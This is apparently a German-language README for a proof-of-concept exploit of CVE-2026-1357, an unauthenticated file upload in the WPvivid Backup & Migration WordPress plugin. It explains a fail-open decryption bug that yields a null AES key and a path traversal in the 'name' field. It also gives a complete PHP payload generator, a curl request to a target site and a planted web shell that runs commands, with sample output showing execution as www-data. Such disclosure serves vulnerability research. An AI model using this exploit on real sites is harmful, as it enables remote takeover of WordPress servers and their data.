
Proof-of-Concept-Exploit für CVE-2026-1357, einen nicht authentifizierten beliebigen Datei-Upload, der zu RCE im WPvivid Backup & Migration-Plugin führt, mit Exploit-Generator und Ausführungsanweisungen.
Entdeckt von: Lucas Montes (NiRoX)
Schwachstelle: Nicht authentifizierter beliebiger Datei-Upload, der zu Remote Code Execution (RCE) führt
CVE-ID: CVE-2026-1357
CVSS: Kritisch (9.8)
Status: In Version 0.9.124 gepatcht
Dieses Repository enthält die Analyse und den Proof of Concept (PoC) für eine kritische Schwachstelle im WPvivid Backup & Migration WordPress-Plugin (Versionen <= 0.9.123).
Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, beliebige Dateien (wie PHP-Shells) auf den Server hochzuladen, was zu sofortiger Remote Code Execution (RCE) führt. Ursache ist ein logischer Fehler in der kryptografischen Fehlerbehandlung (Fail-Open) in Kombination mit einer Path-Traversal-Schwachstelle.
Die Schwachstelle liegt in der Art und Weise, wie das Plugin Remote-Backup-Übertragungsanfragen über den wpvivid_action=send_to_site-Hook verarbeitet. Die Ausnutzungskette besteht aus zwei getrennten Bugs, die zusammenwirken:
Wenn das Plugin eine Übertragungsanfrage empfängt, versucht es, den bereitgestellten Sitzungsschlüssel mit openssl_private_decrypt() zu entschlüsseln.
false zurück. Die Plugin-Logik prüft diesen booleschen Rückgabewert nicht und übergibt false an die phpseclib-Bibliothek, um die AES-Chiffre zu initialisieren.phpseclib wird ein false- oder leerer Schlüssel als eine Zeichenkette aus Null-Bytes (\0\0...) behandelt. Dies ermöglicht es einem Angreifer, eine bösartige Nutzlast mit einem 128-Bit-Null-Schlüssel zu verschlüsseln und so die Notwendigkeit des tatsächlichen privaten Schlüssels zu umgehen.Sobald die Nutzlast mit dem Null-Schlüssel erfolgreich „entschlüsselt" wurde, verarbeitet das Plugin den JSON-Inhalt.
name-Parameter innerhalb der JSON-Nutzlast wird nicht bereinigt.../) verwenden, um das eingeschränkte Backup-Verzeichnis des Plugins (normalerweise durch .htaccess geschützt) zu verlassen und eine bösartige PHP-Datei in das öffentliche Verzeichnis wp-content/uploads/ zu schreiben.Einschränkungen:
wpvivid_api_token abläuft, lässt der verwundbare Codepfad die Anfrage stillschweigend fehlschlagen.Der Exploit basiert auf dem Verhalten von phpseclib (v1). Um den Generator lokal auszuführen, benötigen Sie die Bibliotheksdateien:
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php
exploit.php)Dieses Skript erstellt eine mit einem Null-Schlüssel verschlüsselte Nutzlast und enthält die Path Traversal, um eine Shell hochzuladen.
<?php
// exploit.php - Authored by Lucas Montes (NiRoX)
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');
// 1. Initialize Rijndael (AES)
$rij = new Crypt_Rijndael();
$rij->setBlockLength(128);
// 2. VULNERABILITY REPRODUCTION
// The server defaults to a null key when RSA decryption fails (returns false).
// We set our local key to 16 null bytes to match the server's vulnerable state.
$rij->setKey(str_repeat("\0", 16));
// 3. The Payload
$shell_content = '<?php system($_GET["cmd"]); ?>';
// 4. The JSON Object with Path Traversal
// We traverse up to /uploads/ to bypass .htaccess restrictions
$params = [
"backup_id" => "1",
"name" => "../uploads/pwn_remote.php",
"data" => base64_encode($shell_content),
"offset" => 0,
"file_size" => strlen($shell_content),
"total_size" => strlen($shell_content),
"index" => 0,
"md5" => md5($shell_content),
"type" => "backup",
"status" => "running"
];
// 5. Encrypt with Null Key
$encrypted = $rij->encrypt(json_encode($params));
// 6. Construct Packet
// "ABC" is the fake RSA key that triggers the 'false' return on the server
$fake_key = "ABC";
$payload = str_pad(dechex(strlen($fake_key)), 3, "0", STR_PAD_LEFT)
. $fake_key
. str_pad(dechex(strlen($encrypted)), 16, "0", STR_PAD_LEFT)
. $encrypted;
echo base64_encode($payload);
?>
PAYLOAD=$(php exploit.php)
curl -i -s -X POST 'http://TARGET-URL/' \
-d 'wpvivid_action=send_to_site' \
--data-urlencode "wpvivid_content=$PAYLOAD"
http://TARGET-URL/wp-content/uploads/pwn_remote.php?cmd=id
Ergebnis:
uid=33(www-data) gid=33(www-data) groups=33(www-data)